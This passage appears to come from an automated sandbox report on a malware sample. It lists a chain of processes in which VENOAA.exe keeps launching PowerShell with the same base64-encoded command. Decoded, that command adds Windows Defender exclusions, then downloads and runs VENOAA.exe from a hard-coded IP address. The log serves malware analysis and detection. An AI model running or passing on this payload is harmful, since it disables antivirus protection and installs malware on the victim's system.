AdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAaABwAGUAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAVgBFAE4ATwBBAEEALgBlAHgAZQAnACkAPAAjAG4AaQBiACMAPgA="
        16⤵
        Blocklisted process makes network request
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:956
        
        C:\Users\Admin\AppData\Local\Temp\VENOAA.exe
        
        "C:\Users\Admin\AppData\Local\Temp\VENOAA.exe"
        17⤵
        Executes dropped EXE
        Suspicious use of WriteProcessMemory
        
        PID:2824
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGYAZABtACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAYQBkAGoAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAeQB6AHMAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAcgBlAGgAIwA+ADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwA5ADMALgAxADIAMwAuADgANQAuADEAMAA4AC8AVgBFAE4ATwBBAEEALgBlAHgAZQAnACwAIAA8ACMAYgBlAHIAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgADwAIwBwAGMAdwAjAD4AIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABlAG0AcAAgADwAIwBwAGQAcQAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBWAEUATgBPAEEAQQAuAGUAeABlACcAKQApADwAIwB2AGEAcQAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBoAG4AZAAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAaABwAGUAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAVgBFAE4ATwBBAEEALgBlAHgAZQAnACkAPAAjAG4AaQBiACMAPgA="
        18⤵
        Blocklisted process makes network request
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:1656
        
        C:\Users\Admin\AppData\Local\Temp\VENOAA.exe
        
        "C:\Users\Admin\AppData\Local\Temp\VENOAA.exe"
        19⤵
        Executes dropped EXE
        Suspicious use of WriteProcessMemory
        
        PID:1516
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGYAZABtACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAYQBkAGoAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAeQB6AHMAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAcgBlAGgAIwA+ADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwA5ADMALgAxADIAMwAuADgANQAuADEAMAA4AC8AVgBFAE4ATwBBAEEALgBlAHgAZQAnACwAIAA8ACMAYgBlAHIAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgADwAIwBwAGMAdwAjAD4AIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABlAG0AcAAgADwAIwBwAGQAcQAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBWAEUATgBPAEEAQQAuAGUAeABlACcAKQApADwAIwB2AGEAcQAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBoAG4AZAAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAaABwAGUAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAVgBFAE4ATwBBAEEALgBlAHgAZQAnACkAPAAjAG4AaQBiACMAPgA="
        20⤵
        Blocklisted process makes network request
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:2264
        
        C:\Users\Admin\AppData\Local\Temp\VENOAA.exe
        
        "C:\Users\Admin\AppData\Local\Temp\VENOAA.exe"
        21⤵
        Executes dropped EXE
        Suspicious use of WriteProcessMemory
        
        PID:2584
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGYAZABtACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAYQBkAGoAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAeQB6AHMAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAcgBlAGgAIwA+ADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwA5ADMALgAxADIAMwAuADgANQAuADEAMAA4AC8AVgBFAE4ATwBBAEEALgBlAHgAZQAnACwAIAA8ACMAYgBlAHIAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgADwAIwBwAGMAdwAjAD4AIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABlAG0AcAAgADwAIwBwAGQAcQAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBWAEUATgBPAEEAQQAuAGUAeABlACcAKQApADwAIwB2AGEAcQAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBoAG4AZAAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAaABwAGUAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAVgBFAE4ATwBBAEEALgBlAHgAZQAnACkAPAAjAG4AaQBiACMAPgA="
        22⤵
        Blocklisted process makes network request
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:2644
        
        C:\Users\Admin\AppData\Local\Temp\VENOAA.exe
        
        "C:\Users\Admin\AppData\Local\Temp\VENOAA.exe"
        23⤵
        Executes dropped EXE
        
        PID:2376
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGYAZABtACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAYQBkAGoAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAeQB6AHMAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAcgBlAGgAIwA+ADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwA5ADMALgAxADIAMwAuADgANQAuADEAMAA4AC8AVgBFAE4ATwBBAEEALgBlAHgAZQAnACwAIAA8ACMAYgBlAHIAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgADwAIwBwAGMAdwAjAD4AIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABlAG0AcAAgADwAIwBwAGQAcQAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBWAEUATgBPAEEAQQAuAGUAeABlACcAKQApADwAIwB2AGEAcQAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBoAG4AZAAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAaABwAGUAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAVgBFAE4ATwBBAEEALgBlAHgAZQAnACkAPAAjAG4AaQBiACMAPgA="
        24⤵
        Blocklisted process makes network request
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2432
        
        C:\Users\Admin\AppData\Local\Temp\VENOAA.exe
        
        "C:\Users\Admin\AppData\Local\Temp\VENOAA.exe"
        25⤵
        Executes dropped EXE
        
        PID:2328
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGYAZABtACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAYQBkAGoAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAeQB6AHMAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAcgBlAGgAIwA+ADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwA5ADMALgAxADIAMwAuADgANQAuADEAMAA4AC8AVgBFAE4ATwBBAEEALgBlAHgAZQAnACwAIAA8ACMAYgBlAHIAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgADwAIwBwAGMAdwAjAD4AIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABlAG0AcAAgADwAIwBwAGQAcQAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBWAEUATgBPAEEAQQAuAGUAeABlACcAKQApADwAIwB2AGEAcQAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBoAG4AZAAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAaABwAGUAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAVgBFAE4ATwBBAEEALgBlAHgAZQAnACkAPAAjAG4AaQBiACMAPgA="
        26⤵
        Blocklisted process makes network request
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2604
        
        C:\Users\Admin\AppData\Local\Temp\VENOAA.exe
        
        "C:\Users\Admin\AppData\Local\Temp\VENOAA.exe"
        27⤵
        Executes dropped EXE
        
        PID:1796
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGYAZABtACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAYQBkAGoAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAeQB6AHMAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAcgBlAGgAIwA+ADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwA5ADMALgAxADIAMwAuADgANQAuADEAMAA4AC8AVgBFAE4ATwBBAEEALgBlAHgAZQAnACwAIAA8ACMAYgBlAHIAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgADwAIwBwAGMAdwAjAD4AIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABlAG0AcAAgADwAIwBwAGQAcQAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBWAEUATgBPAEEAQQAuAGUAeABlACcAKQApADwAIwB2AGEAcQAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBoAG4AZAAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAaABwAGUAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAVgBFAE4ATwBBAEEALgBlAHgAZQAnACkAPAAjAG4AaQBiACMAPgA="
        28⤵
        Blocklisted process makes network request
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1520
        
        C:\Users\Admin\AppData\Local\Temp\VENOAA.exe
        
        "C:\Users\Admin\AppData\Local\Temp\VENOAA.exe"
        29⤵
        Executes dropped EXE
        
        PID:1256
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGYAZABtACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAYQBkAGoAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAeQB6AHMAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAcgBlAGgAIwA+ADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwA5ADMALgAxADIAMwAuADgANQAuADEAMAA4AC8AVgBFAE4ATwBBAEEALgBlAHgAZQAnACwAIAA8ACMAYgBlAHIAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgADwAIwBwAGMAdwAjAD4AIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABlAG0AcAAgADwAIwBwAGQAcQAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBWAEUATgBPAEEAQQAuAGUAeABlACcAKQApADwAIwB2AGEAcQAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBoAG4AZAAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAaABwAGUAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAVgBFAE4ATwBBAEEALgBlAHgAZQAnACkAPAAjAG4AaQBiACMAPgA="
        30⤵
        Blocklisted process makes network request
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2012
        
        C:\Users\Admin\AppData\Local\Temp\VENOAA.exe
        
        "C:\Users\Admin\AppData\Local\Temp\VENOAA.exe"
        31⤵
        Executes dropped EXE
        
        PID:3060
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGYAZABtACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAYQBkAGoAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAeQB6AHMAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAcgBlAGgAIwA+ADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwA5ADMALgAxADIAMwAuADgANQAuADEAMAA4AC8AVgBFAE4ATwBBAEEALgBlAHgAZQAnACwAIAA8ACMAYgBlAHIAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgADwAIwBwAGMAdwAjAD4AIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABlAG0AcAAgADwAIwBwAGQAcQAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBWAEUATgBPAEEAQQAuAGUAeABlACcAKQApADwAIwB2AGEAcQAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBoAG4AZAAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAaABwAGUAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAVgBFAE4ATwBBAEEALgBlAHgAZQAnACkAPAAjAG4AaQBiACMAPgA="
        32⤵
        Blocklisted process makes network request
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1684
        
        C:\Users\Admin\AppData\Local\Temp\VENOAA.exe
        
        "C:\Users\Admin\AppData\Local\Temp\VENOAA.exe"
        33⤵
        Executes dropped EXE
        
        PID:2928
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGYAZABtACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAYQBkAGoAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAeQB6AHMAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAcgBlAGgAIwA+ADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwA5ADMALgAxADIAMwAuADgANQAuADEAMAA4AC8AVgBFAE4ATwBBAEEALgBlAHgAZQAnACwAIAA8ACMAYgBlAHIAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgADwAIwBwAGMAdwAjAD4AIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABlAG0AcAAgADwAIwBwAGQAcQAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBWAEUATgBPAEEAQQAuAGUAeABlACcAKQApADwAIwB2AGEAcQAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBoAG4AZAAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAaABwAGUAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAVgBFAE4ATwBBAEEALgBlAHgAZQAnACkAPAAjAG4AaQBiACMAPgA="
        34⤵
        Blocklisted process makes network request
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1268
        
        C:\Users\Admin\AppData\Local\Temp\VENOAA.exe
        
        "C:\Users\Admin\AppData\Local\Temp\VENOAA.exe"
        35⤵
        Executes dropped EXE
        
        PID:956
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGYAZABtACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAYQBkAGoAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAeQB6AHMAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAcgBlAGgAIwA+ADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwA5ADMALgAxADIAMwAuADgANQAuADEAMAA4AC8AVgBFAE4ATwBBAEEALgBlAHgAZQAnACwAIAA8ACMAYgBlAHIAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgADwAIwBwAGMAdwAjAD4AIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABlAG0AcAAgADwAIwBwAGQAcQAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBWAEUATgBPAEEAQQAuAGUAeABlACcAKQApADwAIwB2AGEAcQAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBoAG4AZAAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAaABwAGUAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAVgBFAE4ATwBBAEEALgBlAHgAZQAnACkAPAAjAG4AaQBiACMAPgA="
        36⤵
        Blocklisted process makes network request
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2096
        
        C:\Users\Admin\AppData\Local\Temp\VENOAA.exe
        
        "C:\Users\Admin\AppData\Local\Temp\VENOAA.exe"
        37⤵
        Executes dropped EXE
        
        PID:812
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGYAZABtACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAYQBkAGoAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAeQB6AHMAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAcgBlAGgAIwA+ADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwA5ADMALgAxADIAMwAuADgANQAuADEAMAA4AC8AVgBFAE4ATwBBAEEALgBlAHgAZQAnACwAIAA8ACMAYgBlAHIAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgADwAIwBwAGMAdwAjAD4AIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABlAG0AcAAgADwAIwBwAGQAcQAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBWAEUATgBPAEEAQQAuAGUAeABlACcAKQApADwAIwB2AGEAcQAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBoAG4AZAAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAaABwAGUAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAVgBFAE4ATwBBAEEALgBlAHgAZQAnACkAPAAjAG4AaQBiACMAPgA="
        38⤵
        Blocklisted process makes network request
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2228
        
        C:\Users\Admin\AppData\Local\Temp\VENOAA.exe
        
        "C:\Users\Admin\AppData\Local\Temp\VENOAA.exe"
        39⤵
        Executes dropped EXE
        
        PID:2496
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGYAZABtACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAYQBkAGoAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAeQB6AHMAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAcgBlAGgAIwA+ADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwA5ADMALgAxADIAMwAuADgANQAuADEAMAA4AC8AVgBFAE4ATwBBAEEALgBlAHgAZQAnACwAIAA8ACMAYgBlAHIAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgADwAIwBwAGMAdwAjAD4AIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABlAG0AcAAgADwAIwBwAGQAcQAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBWAEUATgBPAEEAQQAuAGUAeABlACcAKQApADwAIwB2AGEAcQAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBoAG4AZAAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAaABwAGUAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAVgBFAE4ATwBBAEEALgBlAHgAZQAnACkAPAAjAG4AaQBiACMAPgA="
        40⤵
        Blocklisted process makes network request
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2656
        
        C:\Users\Admin\AppData\Local\Temp\VENOAA.exe
        
        "C:\Users\Admin\AppData\Local\Temp\VENOAA.exe"
        41⤵
        Executes dropped EXE
        
        PID:1556
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
